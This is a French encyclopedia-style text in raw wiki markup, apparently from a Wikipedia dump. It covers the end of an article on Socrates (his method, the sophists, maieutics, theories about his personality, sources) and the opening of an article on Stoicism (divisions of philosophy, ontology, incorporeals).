premières par le raisonnement, mais la connaissance des secondes est réservée aux dieux. On voit là le caractère religieux de la pensée socratique : les physiciens renversent l’ordre divin de la connaissance, et leurs recherches sont donc impies. Socrate est aussi celui qui substitue aux causes physiques des Présocratiques des causes finales expliquant les phénomènes naturels et moraux. Il est l’auteur d’une métaphysique spiritualiste. (cf. ''Phédon'') Socrate loue en effet l’idée d’Anaxagore selon lequel il existe une cause ordonnatrice et rejette toute notion de cause mécanique. Néanmoins, Socrate ne rejette pas pour autant l’idée de science. Quand il objecte aux physiologues, c’est pour demander si ceux-ci estiment connaître assez les choses humaines pour se sentir le droit de spéculer sur ce qui est de l’ordre du divin. Il est donc certain que Socrate retient l’idée de science, mais qu’il en change l’objet en l’appliquant aux hommes : il conserve la forme de la recherche physique, mais il en rejette le fond. === Socrate et les sophistes === Il en va d’une manière assez similaire en ce qui concerne son attitude envers la sophistique : Socrate ne rejette pas toute la sophistique. En effet, pour Socrate, la sophistique est un art royal (''Mémorables'', IV, 2, 11). Mais Socrate procède à une distinction entre la fin et les moyens. La fin de la sophistique est de faire des hommes capables de bien parler et de bien agir, capables de gérer les affaires publiques et les affaires domestiques. Socrate approuve ce but ; il est entièrement d’accord avec les sophistes pour dire que l’homme ne doit s’occuper que des affaires qui le concernent, i.e. ce qui concerne l’homme en tant qu’homme et sa culture. L’idée que se font les sophistes de l’instruction est ainsi de cultiver en l’homme des facultés universelles. Cependant, au contraire des sophistes, Socrate ne valorise pas l’homme pour la raison que les dieux n’existe pas : ce sont au contraire les limites de l’homme relativement au divin qui imposent que l’on s’occupe de cultiver nos facultés dans les bornes de ce qui nous est donné. Quant aux moyens de la sophistique, qui consistaient dans l’exercice et la routine, i.e. dans l’art, il les rejette. Pour éprouver la valeur de ses moyens, Socrate part du principe que le signe d’une capacité acquise est le savoir. Or, le signe du savoir est la capacité à transmettre ce que l’on sait. Socrate entreprit donc d’interroger les sophistes sur la nature du juste, du pieux, de la vertu, etc., et il trouva que ces sophistes ne répondaient pas d’une manière satisfaisante et se trouvaient souvent en contradiction avec eux-mêmes. Socrate impute ces défauts aux lacunes théoriques de la sophistique et il soulève plusieurs difficultés inhérentes à cette pratique : *une communication purement technique ne suscite pas l’art, mais l’imitation ignorante du disciple ; *un art ne peut être une fin pour lui-même : car, en lui-même, il ne rend personne meilleur ; *en conséquence, pratiquée en tant que pure technique, la sophistique est une routine qui produit indifféremment des choses bonnes ou des choses mauvaises. *le résultat de la sophistique est donc la routine dénuée de savoir théorique, l’ignorance, le hasard. *cette pratique de l’art est non seulement nuisible, mais elle est impossible : on ne peut rien apprendre par la seule pratique, et ses conséquences sur l’éducation et la politique ne peuvent qu’être catastrophiques. En conclusion, l’art suppose la science. Alors que les physiologues, selon Socrate, ont eu l’idée de la science sans la matière, les sophistes ont eu l’idée de la matière - mais sans la science. Il apparaît ainsi une conception de la sagesse, qui, en réunissant l’art et la science, serait capable de se suffire à elle-même et de former les hommes, et dans laquelle se trouverait le bonheur véritable. Telle est la signification du ''Connais-toi toi-même''. === Connais-toi toi-même === Cette devise est assurément le point de départ de la sagesse socratique. Mais on peut douter qu’elle invite à se connaître soi-même en tant que particulier ; bien plutôt, se connaître, c’est se connaître en tant qu’homme, en s’élevant au-dessus de ses sentiments particuliers et de ses opinions qui ne sont toujours qu’une illusion de savoir ; cette connaissance est d’ailleurs la seule qui soit à notre portée. La science de l’être des physiologues est en effet une chimère ; il reste à connaître l’homme, mais cette science de l’homme moral est d’une infinie complexité, sa recherche ne semble pas pouvoir prendre fin : :« Je cherche si je suis un animal plus compliqué que Typhon et plus méchant, ou si ma nature est simple et participe au divin. » (Phédon, 230a) L’ignorance de soi-même fait l’homme dépendant et esclave (''Mémorables'', IV,2). En revanche la connaissance de notre nature, de ce que nous sommes, nous rend libres et capables de nous suffire à nous-mêmes. C’est là proprement que se constitue l’idée d’une science morale, dont la possession nous rend heureux. Mais cette science socratique soulève plusieurs difficultés relatives à la méthode. === La méthode socratique === Comment en effet concevoir une science qui puisse s’appliquer aux choses humaines ? Pour les sophistes, ce dernier domaine ne contient que des choses particulières et contingentes : la science est donc ici impossible s’il est vrai qu’il n’y a de science que de l’universel. Les dialogues socratiques montrent également la difficulté de cette tâche, par leur caractère souvent aporie|aporétique. Cherchant ce qu’est telle ou telle vertu, les interlocuteurs ne parviennent jamais à en fournir une définition logiquement satisfaisante. La réflexion éthique de Socrate porte donc avant tout sur la méthode, et la méthode socratique a une finalité éthique. ==== La définition ==== On attribue à Socrate l’invention de la définition ; la détermination du concept serait alors ce en quoi consiste la science, et il suffirait d’appliquer cette idée abstraite de la science au domaine de l’expérience. Toute sa pensée peut se résumer, selon l’historien de la philosophie Édouard Zeller, à la refondation de la philosophie sur le général - ou concept - comme objet de la science. Son œuvre principale fut donc une invention théorique, si l’on s’appuie, pour étayer cette interprétation, sur le témoignage d’Aristote (''La Métaphysique'', Livre M, 4, 1078 b) : :« Socrate traite des vertus éthiques, et à leur propos, il cherche à définir universellement [...] ; il cherche ce que sont les choses. [...] Ce que l'on a raison d'attribuer à Socrate, c'est à la fois les raisonnements inductifs et les définitions universelles qui sont, les uns et les autres, au début de la science. Mais pour Socrate les universaux et les définitions ne sont pas des êtres séparés ; ce sont les platoniciens qui les séparèrent et ils leur donnèrent le nom d'idées. » Socrate rechercha donc le ''ti esti'', i.e. l'essence des choses, mais sans la placer en dehors du monde, comme le fera Platon, au grand étonnement, dit-on, de son maître : selon Diogène Laërce, après avoir entendu une lecture du ''Lysis'', Socrate s’exclama: « Comme ce jeune homme me fait dire des choses qui ne sont pas de moi ! » Mais cette interprétation (de Zeller, de Schleiermacher, et Aristote était manifestement de cet avis) fait de la méthode socratique quelque chose d’antérieur à l’éthique ; cela est sans doute vrai pour Platon et pour Aristote lui-même. Mais dans le cas de Socrate, l’interprétation demande que l’on parte de ce qui pour lui faisait question, et non de l’utilisation qui a été faite ultérieurement de sa pensée. Or, pour Socrate, la question est de savoir de quelle manière une science peut être une science qui aurait pour objet la vertu et le bonheur. Les aspects scientifique et moral ne sont donc pas séparables ni ontologiquement ni chronologiquement. ==== L’induction ==== ==== Le critère ==== Le critère du savoir est pour Socrate l’accord avec soi-même et avec les autres ; c’est dans ce rapport de l’esprit à lui-même que réside la certitude. La science a pour objet le général. En conséquence, l’analyse morale porte sur ce qu’il y a de commun à des actions, et non sur l’action elle-même. Par exemple : par quoi une action juste est-elle dite juste ? Nous avons une notion du juste, puisque nous l’utilisons pour qualifier certaines actions particulières. Et ce sont des notions de ce genre qui permettent l’accord des esprits par le dialogue au-delà des querelles sur les mots. ==== Le dialogue ==== Il est donc nécessaire de se tourner vers les autres, dans cette recherche de la définition des réalités morales. Le dialogue (la dialectique) est rendu nécessaire par l’objet même de la recherche : c’est l’homme. Il s’agit d’une part de savoir sur quels sujets les hommes sont en accord ; et d’autre part d’instruire les autres sur ce dont on a la certitude. Chaque interlocuteur possède en outre en lui-même le critère qui permet à un dialogue de se dérouler fructueusement, puisque chacun porte en soi la nature humaine que l’on cherche à connaître. Pourtant un des premiers résultats de la recherche socratique est que les hommes ignorent souvent ce qu’ils sont et ce qu’ils font : Charmide est un adolescent réservé, mais il ignore ce qu’est la réserve ; Lachès et Nicias sont courageux, mais ils ne savent pas définir le courage. Par là, un résultat au moins est atteint : les interlocuteurs de Socrate apprennent à se connaître eux-mêmes en tant qu’ignorants. Ils se défont de leurs illusions sur eux-mêmes et sont forcés de regarder en eux-mêmes. C’est pourquoi le dialogue a un caractère psychologique très violent. Ménon parle de l’effet de la torpille ; le contact avec Socrate paralyse et déconcerte. C’est pourquoi, certains, comme Alcibiade, fuient Socrate par peur de ce changement de direction du regard vers l’intérieur : :« les discours de la philosophie blessent plus sauvagement que la vipère. » (''Le Banquet'') De par ces caractéristiques, la dialectique possède certaines conditions : :« À ceux qui se possèdent et à ceux-là seulement, il est donné de rechercher en tout ce qui est le mieux ; et, distinguant les choses par une dialectique d’actions et de paroles, selon les genres auxquelles elles appartiennent, de choisir les bonnes et de s’abstenir des mauvaises. » (''Mémorables'', IV, 5, 11) La dialectique n’est donc pas simplement un moyen de la science, moyen qui s’appliquerait à son objet de l’extérieur, mais elle est essentiellement une partie de la sagesse. Pour Socrate, il faut donc toujours examiner les choses en commun ; pas de science de l’homme sans cela. ===== La maïeutique ===== L’idée d’une maïeutique est déjà présente dans l’idée de la dialectique présentée dans la section précédente. En effet, la stupeur que provoque Socrate, tient essentiellement du fait que ses interlocuteurs sont mis face à leurs propres contradictions ; ces contradictions qui naissent de ce regard tourné soudainement sur soi-même, engendrent des troubles de l’âme dont elle a besoin de se délivrer. Socrate va alors devenir un accoucheur des âmes, art qu’il dit tenir de sa mère Phénarète (''Théétète'', 148 e). Dans les dialogues qu’il entreprend, Socrate est généralement celui qui interroge ; ses questions ont pour but de faire venir à la parole les idées de ses interlocuteurs, pour en examiner ensuite la cohérence : s’agit-il d’une chimère ou de quelque chose de viable ? (''Théétète'') Ainsi, dans ces dialogues, Socrate ne se présente-t-il pas comme celui qui sait, mais comme un ignorant, comme un esprit stérile en ce qui concerne de sagesse, et qui ne possède qu’un seul art, celui de la maïeutique. ===== L’ironie == l'ironie cherche à faire prendre à l'interlocuteur le recul necessaire pour mesurer la valeur de la reponse. l'ironie socratique servait tantôt à confondre ses adversaires en les conduisant de réponses en réponses à de ridicules adsurdités, tantôt à instruire ses disciples en leur faisant découvrir par eux-mêmes des vérités qui étaient cachées dans leur intelligence: il se disait en ce la accoucheur des esprits. == Socrate et la religion == Mais la pensée socratique a aussi un caractère religieux, dans la mesure où par l’oracle de Delphes, Socrate se donne la mission de débusquer les faux sages. Socrate est profondément religieux, voir quelque peu mystique ; on peut parler de foi en un dieu, de l’admiration de ses œuvres et de sa providence. Son œuvre est donc d’inspiration divine, mais elle a en outre une dimension politique qui vise à réformer la Cité.(cf. ''Apologie de Socrate'') == Quelques théories sur sa personnalité == La personnalité de Socrate a fait l’objet de nombreuses spéculations. Outre les philosophes et les moralistes, bien des psychologues ont prétendu expliquer le caractère de Socrate. La psychologie et la philosophie du {{s|XIX|e}} se sont particulièrement penchées sur ce cas jugé parfois pathologique. De son vivant déjà, un physionomiste pensait voir sur son visage les marques d’une nature intempérante (voir plus haut). Voici, à titre indicatif, quelques éléments, qui, sans être incontestables, permettent de voir sous des aspects différents la vie étonnante de ce philosophe. === Théorie du somnambulisme === On sait que Socrate passait parfois plusieurs heures immobile, absorbé dans ses pensées. Platon en a fait une description dans Le Banquet. On a pu assimiler ces états a des extases intellectuelles (c’était l’avis des Anciens). Mais la durée exceptionnelle de ces extases (24 heures selon Platon) a un caractère excessif qui suggère que Socrate traversait en réalité des crises de catalepsie (cf. F. Lélut, ''Du démon de Socrate : spécimen d’une application de la science psychologique à celle de l’histoire''). Certaines descriptions révéleraient ainsi les symptômes du somnambulisme : :« Parmi les travaux et les exercices volontaires par lesquels Socrate cherchait à s’aguerrir contre la souffrance, voici, dit-on une des épreuves singulières qu’il s’imposa maintes fois : on prétend que souvent il restait debout dans la même attitude, la nuit, le jour, d’un soleil à l’autre, sans remuer les paupières, immobile à la même place, les regards dirigés vers le même point, plongés dans des pensées profondes, comme isolé de son corps par la méditation. » (Aulu-Gelle, ''Les Nuits Attiques'') === Aliénation mentale === Les hallucinations auditives de Socrate, que ce dernier attribuait à un dieu, et qui l’interrompent dans ses paroles ou dans ses actes, ressemblent, pour les médecins du {{s|XIX|e}} à des symptômes d’aliénation mentale. En effet, les récits sur certains épisodes de sa vie montrent des comportements inexplicables, tel que le fait d’interrompre une discussion, d’agir comme s’il était seul, puis de reprendre la conversation comme si rien ne s’était passé. === Théorie de Nietzsche === *''Pour plus de détails sur cette théorie, voir : Crépuscule_des_idoles#Le_problème_de_Socrate|Crépuscule des idoles'' Friedrich Wilhelm Nietzsche|Nietzsche, s’appuyant sur le témoignage du physionomiste cité plus haut, voit en Socrate un cas d’hyperrationnalité provoqué par le désordre des instincts. Selon Nietzsche, Socrate, pour lutter contre ses violents désordres intérieurs, avait besoin de s’appuyer sur la raison pour ne pas sombrer complètement. Cette répression des instincts fait de lui un fanatique de la morale, car : :« Tout en lui est exagéré, bouffon, caricatural ; tout est, en même temps, plein de cachettes, d’arrières-pensées, de souterrain. » Ressentant la vie comme une maladie dont seule la mort nous délivre, Socrate se serait en réalité suicidé : :« Socrate voulait mourir : ce ne fut pas Athènes, ce fut lui-même qui se donna la ciguë, il força Athènes à la ciguë... » (''Crépuscule des idoles'') == Les sources == Aristoxène de Tarente est le premier à avoir écrit une vie de Socrate dont il nous reste quelques fragments. Il y eu bon nombre de biographies de Socrate, mais aucune ne nous est parvenue intégralement, et il en est de même des histoires de la philosophie antique (cf. Philodème de Gadara auteur d’un ''Sur Socrate''). *''Les Nuées'', Aristophane *''La Métaphysique'', I, 6 et XIII, 4, Aristote *''Ethique à Nicomaque'', VI, 3, Aristote *Les dialogues de Platon (entre autres, ''Ion'', ''Protagoras'', ''Hippias'', ''Criton'', ''Phédon'', ''Lachès'', ''Le Banquet''), et pour ce qui concerne le procès de Socrate : ** Théétète : Socrate, à la fin du dialogue, doit se rendre au portique de l’Archonte-roi qui juge les affaires de religion ; ** Euthyphron : dialogue près du Portique royal, juste avant le passage de Socrate devant l’Archonte-roi ; ** Apologie de Socrate : procès, discours et condamnation de Socrate ; ** Criton : Socrate, en prison, refuse de s’évader ; ** Phédon : exécution de Socrate. *''Apologie de Socrate'' (Ἀπολογία Σωκράτους), Xénophon (apocryphe) *''Mémorables'' (Ἀπομνημονευμάτων), Xénophon *''À Atticus'', XIV, 9, I, Cicéron *''Vie, doctrine et sentences des philosophes illustres'', Livre II, Diogène Laërce == Bibliographie == * Friedrich Wilhelm Nietzsche|Nietzsche, ''La Naissance de la tragédie'' * Friedrich Wilhelm Nietzsche|Nietzsche, ''Crépuscule des Idoles'', § Le problème de Socrate * Émile Boutroux, ''Socrate, fondateur de la science morale'', (voir [http://gallica.bnf.fr/scripts/ConsultationTout.exe?O=N077957 lien externe]) * Emile Bréhier, ''Histoire de la philosophie'', tome I, Paris, F. Alcan 1926-1927 * Ross W.D., «Le problème de Socrate», Proceedings of the Classical Association 30, 1933, pp. 7-34 * Festugière A.J., ''Socrate'', Paris : Flammarion 1934. * Deman Th., ''Le témoignage d'Aristote sur Socrate'', Paris 1942 * Humbert J., ''Socrate et les petits socratiques'', Paris : PUF 1967. * Aubenque Pierre, «La conversion socratique. À propos du « Socrate » de Georges Bastide (Le moment historique de Socrate, Paris 1939)», Les Etudes philosophiques 1970, pp. 159- 166 * Vlastos G., ''Socrates. Ironist and Moral Philosopher'', Cambridge : Cambridge University Press 1991 (trad. française : Socrate. Ironie et philosophie morale, Paris : Aubier 1994) == Socrate dans l'histoire de l'art == *Erik Satie, ''Socrate'', drame symphonique == Voir aussi == *Dialectique *Les Socratiques : **Euclide de Mégare (v.450 - 340) **Antisthène (-444 ~ -371) **Andocide (v. -440 ~ v. -392) **Aristippe de Cyrène (-435 ~ -355) **Xénophon (v. -430 ~ v. -355) **Platon (-428 ~ -347) *Sophiste == Liens externes == *[http://www.momes.net/dictionnaire/s/socrate.html Socrate] *[http://www.yrub.com/philo/socrate.htm Sites Atrium] [[Catégorie:Philosophe]] Stoïcisme 3798 37167 2006-03-11T22:37:03Z 81.67.90.96 __NOTOC__ Le '''stoïcisme''' est une école philosophique de l'Antiquité fondée par [[Zénon de Kition]]. C'est l'une des principales philosophies de la période hellénistique, avec l'[[épicurisme]] et le [[scepticisme]], philosophie [[rationalisme|rationaliste]] qui se rattache notamment à [[Héraclite]] (idée d'un logos universel), au [[cynisme]] ([[Zénon de Kition]] fut élève d'un philosophe cynique), et qui reprend certains aspects de la pensée d'[[Aristote]]. On peut résumer cette doctrine à l'idée qu'il faut vivre en accord avec la nature et la raison pour atteindre la sagesse et le bonheur. Le nom de ''Stoïcisme'' vient du grec ''Stoa poikilê'', un portique de l'[[Agora]] à [[Athènes]] où les Stoïciens se réunissaient et enseignaient. Ce mot désigne aujourd'hui, dans l'usage courant, l'aspect moral de cette philosophie : on entend en effet par stoïcisme une attitude caractérisée par l'indifférence à la [[douleur]] et le courage face aux difficultés de l'[[existence]]. Il ne nous reste que des fragments des premiers Stoïciens ([[Zénon de Kition]] (344 - 262), [[Cléanthe]]), et les seules œuvres complètes que nous possédions sont celles de [[Sénèque le Jeune|Sénèque]], [[Épictète|Epictète]] et [[Marc-Aurèle]]. [[Cicéron]] nous a transmis des débats de l'époque hellénistique qui nous renseignent sur l'ancien stoïcisme. Les adversaires des stoïciens ([[Plutarque]], [[Sextus Empiricus]]) nous ont également laissé des témoignages sur leur pensée. Ce que nous pouvons en savoir en [[logique]], en [[physique]] et en [[éthique]] nous montre des esprits puissants et originaux qui ont marqué l'histoire occidentale jusqu'à aujourd'hui. Cet article propose un exposé des traits généraux de la doctrine, sans oublier qu'il existe quelquefois des nuances notables d'un stoïcien à l'autre. == Sagesse et philosophie == {| align="left" width="200px" cellpadding="8" style="border: 1px solid #999; margin-right: 2em" | <center>'''Sommaire général de l'article'''</center> ---- *[[Stoïcisme#Sagesse et philosophie|Sagesse et philosophie]] **[[Stoïcisme#Définitions de la sagesse et de la philosophie|Définitions]] **[[Stoïcisme#Divisions de la philosophie|Divisions de la philosophie]] **[[Stoïcisme#Les sciences, instruments du sage|Les sciences]] **[[Stoïcisme#Unité du système stoïcien|Unité du système]] *[[Stoïcisme#L'ontologie stoïcienne|L'ontologie stoïcienne]] <br /> *[[Stoïcisme#La logique|La logique]]<br /> *[[Stoïcisme#La théorie de la connaissance|La connaissance]]<br /> *[[Stoïcisme#La physique|La physique]]<br /> *[[Stoïcisme#L'éthique|L'éthique]]<br /> *[[Stoïcisme#Influence du stoïcisme|Influence]]<br /> *[[Stoïcisme#Principales périodes du stoïcisme|Principales périodes]]<br /> *[[Stoïcisme#Bibliographie|Bibliographie]]<br /> *[[Stoïcisme#Voir aussi|Voir aussi]]<br /> *[[Stoïcisme#Liens externes|Liens externes]] |} La philosophie stoïcienne est un tout cohérent : c'est une philosophie de la totalité qui se veut consciemment systématique, ce qui est l'une des grandes originalités de cette doctrine. Elle procède à des divisions du discours philosophique, divisions qui servent à l'exposé de la doctrine, et à son enseignement. Il apparaît donc naturel de suivre ces divisions dans cet article. Comme les autres philosophes hellénistiques, les Stoïciens considèrent que la fin de la philosophie est éthique : pour eux, il faut « vivre en accord avec la nature ». === [[Définition]]s de la sagesse et de la philosophie === La [[sagesse]] (sophia) est, selon une définition des stoïciens (cf. [[Aétius]], I, Préface 2), la [[connaissance]] scientifique des choses divines et humaines, connaissance à laquelle s'ajoute, selon [[Sénèque]] (''Lettres'', 89, 4 - 5), la connaissance de leurs causes. Selon la distinction de Sénèque (''Lettres'', 89, 4 - 5), cette [[sagesse]] est le [[bien]] de l'[[esprit]] humain, parvenu à sa perfection, alors que la [[philosophie]] est l'amour de la [[sagesse]] et l'aspiration vers elle par la pratique et la théorie : « La philosophie tend là où l'autre est parvenue ». Elle est ainsi la pratique (askesis) de l'[[art]] (techne) de l'utile qui est l'unité et le degré le plus élevé de la [[vertu]]. La philosophie se divise en trois parties, suivant en cela la division des vertus à leur niveau générique : la vertu [[physique]], la vertu [[éthique]] et la vertu [[logique]]. === Divisions de la philosophie === Le discours philosophique a trois parties qui correspondent aux vertus génériques : la [[physique]] qui est une recherche sur le [[monde]] et les objets qu'il contient ; l'[[éthique]], qui concerne l'[[action]] ; la [[logique]] (ou [[dialectique]]), qui concerne le discours. Chacune de ces parties se divise à son tour en plusieurs parties (ces divisions seront exposées dans les sections correspondantes). Cette division générale, selon [[Diogène Laërce]] (VII, 39), fut inventée par [[Zénon de Kition]] dans son traité ''Du discours'', et fut reprise par [[Chrysippe]] (''Du discours'', I et ''Physique'', I ; ces deux livres sont perdus), [[Diogène de Babylone]] et [[Posidonius]] (cf. [[Sextus Empiricus]], ''Contre les professeurs'', VII, 19). Il semble que [[Cléanthe]] se soit écarté de cette division : il en donne six, la [[dialectique]], la [[rhétorique]], l'éthique, la [[politique]], la physique, la [[théologie]]. Ces parties sont appelés des espèces, des genres (ou des genres de théorèmes - cf. Chrysippe, in [[Plutarque]], ''Des contradictions des Stoïciens'', 1035 a) ou des lieux suivant les philosophes ([[Diogène Laërce]], VII, 39 - 41). Les Stoïciens utilisent plusieurs comparaisons pour décrire cette partition de la philosophie : *la philosophie est un champs fertile : la terre est la physique ; les fruits l'éthique ; et le mur qui l'entoure la logique. *la philosophie est comparable à un œuf : la logique est la partie extérieure ; puis vient l'éthique et la physique. *ils comparent enfin la philosophie à un être vivant, comparaison qui diffère des précédentes pour souligner que les parties de la philosophie ne sont pas séparables ; ainsi, par exemple, pour [[Posidonius]] : la [[physique]] est son sang et sa chair, la [[logique]] ses os et ses tendons, l'[[éthique]] est son [[âme]]. Dans cette image on voit que la [[logique]] n'est pas un instrument ou une partie quelconque, mais une partie première ([[Ammonius]], ''Sur les Analytiques premiers d'Aristote'', 8 et 9) ; les Stoïciens pensent qu'elle naît de la [[philosophie]] elle-même ; ainsi, les divisions de la philosophie ne sont-elles pas conçues comme des divisions d'un discours, mais bien comme des parties de la philosophie elle-même. De même, dans la [[physique]], le discours sur les dieux est l'accomplissement de cet enseignement. Pour certains Stoïciens, il n'y a pas de hiérarchie entre ces genres et ils les enseignaient ensemble car elles sont mélangées ; mais d'autres commencent par la [[logique]] ([[Zénon de Kition]], [[Chrysippe]]), par l'[[éthique]] ([[Diogène de Ptolémaïs]]) ou par la [[physique]] ([[Panétios]], [[Posidonius]]). Il semble que dans l'ensemble les parties de la philosophie étaient considérées comme inséparables les unes des autres comme le montrent les images de comparaison. === Les sciences, instruments du sage === [[Image:Ancient.jpg|right|100px]] Le sage cherche et connaît les causes des choses naturelles ; la [[science]] sera donc pour lui un auxiliaire. Mais, comme tout auxiliaire, elle ne fait pas partie de ce dont elle est un instrument et une aide ([[Sénèque]], ''Lettres'', 88, 25 - 28). La science n'est donc pas, pour le stoïcien, une partie de la [[sagesse]]. Que devra alors connaître le sage ? Si l'on suit [[Sénèque]], il connaîtra par exemple le système des corps célestes, leur pouvoir et leur nature ; mais le sage stoïcien s'occupe des principes généraux, non de l'accumulation des [[connaissance]]s ou des questions de fait particulières. En toutes choses, la [[philosophie]] ne demande donc rien à personne, mais donne les principes premiers aux autres [[science]]s (aux [[mathématiques]], par exemple) : les sciences spécialisées lui sont des moyens. La [[philosophie]] construit ainsi seule toute son œuvre. La philosophie, en tant que science, diffère également de l'habileté, des aptitudes que les stoïciens appellent « occupations » (''epitedeumata'') : musique, belles-lettres, équitation, etc., et qu'ils caractérisent ainsi : « une méthode qui, par le moyen d'un art ou d'une partie d'un l'art, conduit au domaine de la vertu » (cf. [[Stobée]], II, 67). Ces occupations ont une valeur instrumentale pour le sage, dont seul il possède l'''habitus'' vertueux. === Unité du système stoïcien === Selon le traité du destin de [[Cicéron]], la notion de fatum (destin) est commune aux trois parties de la philosophie, en ce sens qu'elle implique à la fois la physique (le destin est le principe de l'ordre cosmique), l'éthique (accord du destin avec la responsabilité morale) et la logique (problème des énoncés portant sur les futurs contingents). Le [[fatalisme]] est donc une notion fondamentale du stoïcisme : :« Conduisez-moi, Zeus et toi Destinée, vers où vous l'avez disposé pour moi. Car je suivrai sans faillir. Mais si je devenais méchant et si je ne le voulais pas, je ne suivrais pas moins. » ([[Cléanthe]], cité par [[Épictète]]). == L'[[ontologie]] stoïcienne == {| align="left" width="200px" cellpadding="8" style="border: 1px solid #999; margin-right: 2em" | <center>'''Sommaire de la section'''</center> ---- *[[Stoïcisme#Divisions de l'être|Divisions de l'être]] <br /> *[[Stoïcisme#Les quatre genres|Les quatre genres]]<br /> **[[Stoïcisme#Substrat|Substrat]]<br /> **[[Stoïcisme#Choses qualifiées|Qualifié]]<br /> **[[Stoïcisme#Choses disposées d'une certaine manière|Disposé]]<br /> **[[Stoïcisme#Choses disposées d'une certaine manière en relation avec quelque chose|Disposé relativement]]<br /> *[[Stoïcisme#Les incorporels|Les incorporels]]<br /> **[[Stoïcisme#Le dicible (ou exprimable)|Le dicible]]<br /> **[[Stoïcisme#Le vide|Le vide]] **[[Stoïcisme#Le lieu|Le lieu]] **[[Stoïcisme#Le temps|Le temps]] *[[Stoïcisme#Tableau récapitulatif|Tableau récapitulatif]]<br /> |} === Divisions de l'[[être]] === Le genre suprême de la [[métaphysique]] stoïcienne est appelé, selon Sénèque (''Lettres'', 58, 13 - 15) « quelque chose » ; mais, selon [[Sextus Empiricus]] (''Contres les professeurs'', VIII, 32), le genre suprême serait l' « existant ». Néanmoins, malgré cette divergence, on admet généralement que les Stoïciens divisent les choses en général en existant et subsistant. ([[Galien]], ''De la méthode médicale'', X) Est dit « quelque chose » tout ce qui dans la [[nature]] existe ou n'existe pas. Le ''quelque chose'' a pour contraire les « non-quelque-choses », i.e., selon les Stoïciens, les universaux. Tous les existants sont des corps. Au genre des non existants appartiennent les incorporels et les choses qui sont dans l'[[esprit]], formées faussement par la [[pensée]], comme les centaures et les géants, et d'une manière générale tout ce qui fait impression sur la faculté directrice sans avoir de [[substance]] ([[Sénèque]], ''Lettres'', 58, 13 - 15). Ces incorporels sont dits « subsistant » - car, par exemple, une fiction dans l'esprit n'a de réalité que dans la pensée. Ce dernier cas semble néanmoins montrer l'existence d'une division supplémentaire du ''quelque chose'' : ce qui n'est ni corporel ni incorporel. Les corporels seuls sont dits existant. Les « quelques choses » sont donc soit des corps (existant), soit des incorporels (subsistants). Les Stoïciens distinguent quatre espèces de corporels : le [[substrat]], le qualifié (de façon commune ou de façon particulière), le disposé, le disposé relativement ([[Simplicius]], ''Sur les Catégories d'Aristote'', 66). Ils distinguent quatre espèces d'incorporels : le dicible, le [[vide]], le lieu et le [[temps]]. Les existants sont des entités individuelles corporelles qui appartiennent à la fois aux quatre genres du corporel, mais tout « quelque chose » est une entité individuelle : être quelque chose, c'est donc être une chose particulière, corporelle ou incorporelle. Ainsi « quelque chose » est ou subsistant ou existant ; l'existant se prédique seulement des corps, mais « quelque chose » est prédiqué aussi des incorporels. Puisque l'[[existence]] est chez les Stoïciens corporelle, et que ce qui agit sur un [[corps]] est un corps, l'action est la propriété des corps seuls : la vertu et le savoir sont ainsi des réalités corporelles. Cette ontologie pose quelques problèmes pour expliquer l'action causale d'un incorporel sur un corps. On retrouve quelques éléments de cette métaphysique au XIX{{e}} siècle chez [[Meinong]] et [[Bertrand Russell]]. === Les quatre genres === ==== Substrat ==== Dans son sens primordial, le substrat non qualifié est équivalent à la [[matière]] ; mais, comme dans la philosophie d'[[Aristote]], il y a un sens dérivé, selon lequel une chose qualifiée peut avoir le statut d'un substrat ou de la matière par rapport à autre chose. ==== Choses qualifiées ==== Le qualifié est une [[substance]] ayant certaines qualités : la [[prudence]] est une qualité, l'[[individu]] prudent est le qualifié. ==== Choses disposées d'une certaine manière ==== ==== Choses disposées d'une certaine manière en relation avec quelque chose ==== Ce genre contient les choses qui sont caractérisées par une relation extrinsèque. === Les incorporels === Le premier incorporel concerne la [[sémantique]] et la [[logique]] (voir cette section plus bas) ; les trois autres la [[physique]]. ==== Le dicible (ou exprimable) ==== En grec, ''lekta''. Les stoïciens distinguent les émissions vocales, la [[parole]] (''lexis'') et le [[langage]] (''logos''). Les émissions vocales sont tous les bruits formés par la bouche ; la parole est une émission vocale articulée en [[phonème]]s ; le langage est une émission vocale signifiante par laquelle est exprimée un état de chose. Ce sont ces états de choses qui sont dits ''dicibles''. ([[Diogène Laërce]], VII, 57). Ce dicible est défini : :« [...] ce qui subsiste en conformité avec une impression rationnelle [..] » ([[Sextus Empiricus]], ''Contre les professeurs'', VIII, 70). Il y a deux sortes de dicibles : les dicibles complets, et les dicibles incomplets ([[Diogène Laërce]], VII, 63). Les dicibles complets sont les [[proposition]]s et les [[syllogisme]]s dont l'expression linguistique est achevé ; ce sont ces dicibles qui sont aux fondements de la [[Sto%C3%AFcisme#La_logique|logique stoïcienne]]. les dicibles incomplets sont inachevés (par exemple : il écrit). L'impression rationnelle est une impression dont le contenu est exprimable par le langage. Les dicibles appréhendés par la pensée à la suite d'une impression sont seulement saisis par ceux qui comprennent le langage au moyen duquel ils sont exprimés, alors que tout le monde peut entendre l'émission vocale, même sans saisir ce qui y est exprimé. Il y a donc une différente d'être entre le signifié et le signifiant. Ce signifié qui est dévoilé dans le langage par la [[pensée]] est donc incorporel, alors que l'émission vocale et ce qui porte le nom sont corporels. Dans la mesure où le dicible est un état de chose pensé, il définit la sphère du vrai et faux : l'état de chose signifié et dicible est vrai ou faux. [[Sénèque]] donne l'exemple suivant (''Lettres'', 117, 13) : la perception sensible me révèle que Caton est en train de marcher ; par des mouvements de la pensée, je peux énoncer que Caton est en train de marcher. Ainsi, alors que la perception sensible me révèle quelque chose de corporel, mon esprit donne son assentiment à une proposition (en latin ''Effatum'', traduction du grec ''axiôma''). Sénèque souligne alors la différence fondamentale qui existe entre ''nommer ce corps'' et ''parler à son sujet''. ==== Le vide ==== Le vide, selon les Stoïciens, est ce qui peut être occupé par un existant mais n'est pas occupé ([[Sextus Empiricus]], ''Contre les professeurs'', X, 3 - 4). Selon Chrysippe ([[Stobée]], I, 161, 8 - 26), le vide est infini. En effet, le rien n'est pas une limite, et il n'a pas de limite ; il est donc un subsistant (i.e. un incorporel) infini, qui reçoit une limite seulement s'il vient à être occupé. ==== Le lieu ==== ==== Le temps ==== Pour les Stoïciens ([[Simplicius]], ''Sur les Catégories d'Aristote'', 350, 15 - 16), le temps est une dimension ou un intervalle (en grec ''diastèma'') soit du mouvement (selon [[Zénon]]), soit du mouvement du monde (selon [[Chrysippe]]). Le temps est « cette dimension du mouvement selon laquelle on parle de la mesure de la vitesse et de la lenteur. » (définition de Chrysippe, in [[Stobée]], I, 106). 